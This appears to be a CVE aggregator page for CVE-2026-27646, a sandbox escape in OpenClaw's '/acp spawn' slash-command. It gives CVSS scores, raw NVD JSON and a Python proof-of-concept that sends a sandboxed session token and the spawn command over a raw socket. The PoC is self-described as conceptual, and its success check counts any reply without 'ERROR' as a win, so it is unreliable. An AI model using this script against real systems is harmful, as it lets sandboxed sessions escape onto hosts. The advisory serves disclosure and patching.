Security Vulnerability Report
中文
CVE-2026-27646 CVSS 6.1 MEDIUM

CVE-2026-27646

Published: 2026-03-23 22:16:26
Last Modified: 2026-03-25 15:16:39

Description

OpenClaw versions prior to 2026.3.7 contain a sandbox escape vulnerability in the /acp spawn command that allows authorized sandboxed sessions to initialize host-side ACP runtime. Attackers can bypass sandbox restrictions by invoking the /acp spawn slash-command to cross from sandboxed chat context into host-side ACP session initialization when ACP is enabled.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:* - VULNERABLE
OpenClaw < 2026.3.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-27646: OpenClaw Sandbox Escape via /acp spawn # This script demonstrates the concept of triggering the sandbox escape. import socket def trigger_sandbox_escape(target_ip, target_port, session_id): """ Sends the /acp spawn command to escape the sandbox context. """ try: # Establish connection to the OpenClaw service conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((target_ip, target_port)) # Simulate authentication with a sandboxed session auth_payload = f"SESSION_ID:{session_id}\n" conn.sendall(auth_payload.encode()) print("[*] Authenticated with low-privilege sandbox session.") # Send the malicious command to trigger the vulnerability # The /acp spawn command is not properly sanitized in vulnerable versions exploit_payload = "/acp spawn\n" conn.sendall(exploit_payload.encode()) print("[*] Sent /acp spawn command to trigger host-side ACP initialization.") # Receive response to check if the exploit was successful response = conn.recv(1024).decode() if "ACP_RUNTIME_INIT" in response or "ERROR" not in response: print("[+] Potential sandbox escape successful. Host-side ACP context initialized.") else: print("[-] Exploit failed or patched.") conn.close() except Exception as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": # Replace with actual target details trigger_sandbox_escape("192.168.1.10", 8080, "sandbox_token_123")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27646", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:25.660", "lastModified": "2026-03-25T15:16:39.280", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw versions prior to 2026.3.7 contain a sandbox escape vulnerability in the /acp spawn command that allows authorized sandboxed sessions to initialize host-side ACP runtime. Attackers can bypass sandbox restrictions by invoking the /acp spawn slash-command to cross from sandboxed chat context into host-side ACP session initialization when ACP is enabled."}, {"lang": "es", "value": "Versiones de OpenClaw anteriores a 2026.3.7 contienen una vulnerabilidad de escape de sandbox en el comando /acp spawn que permite a sesiones sandboxed autorizadas inicializar el tiempo de ejecución ACP del lado del host. Los atacantes pueden eludir las restricciones de la sandbox invocando el comando de barra /acp spawn para cruzar desde el contexto de chat sandboxed hacia la inicialización de la sesión ACP del lado del host cuando ACP está habilitado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.2}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.7", "matchCriteriaId": "D2F1658C-E266-4928-9415-F72DB89219EE"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/61000b8e4ded919ca1a825d4700db4cb3fdc56e3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9q36-67vc-rrwg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://vulncheck.com/advisories/openclaw-mar-sandbox-escape-via-acp-spawn-command", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}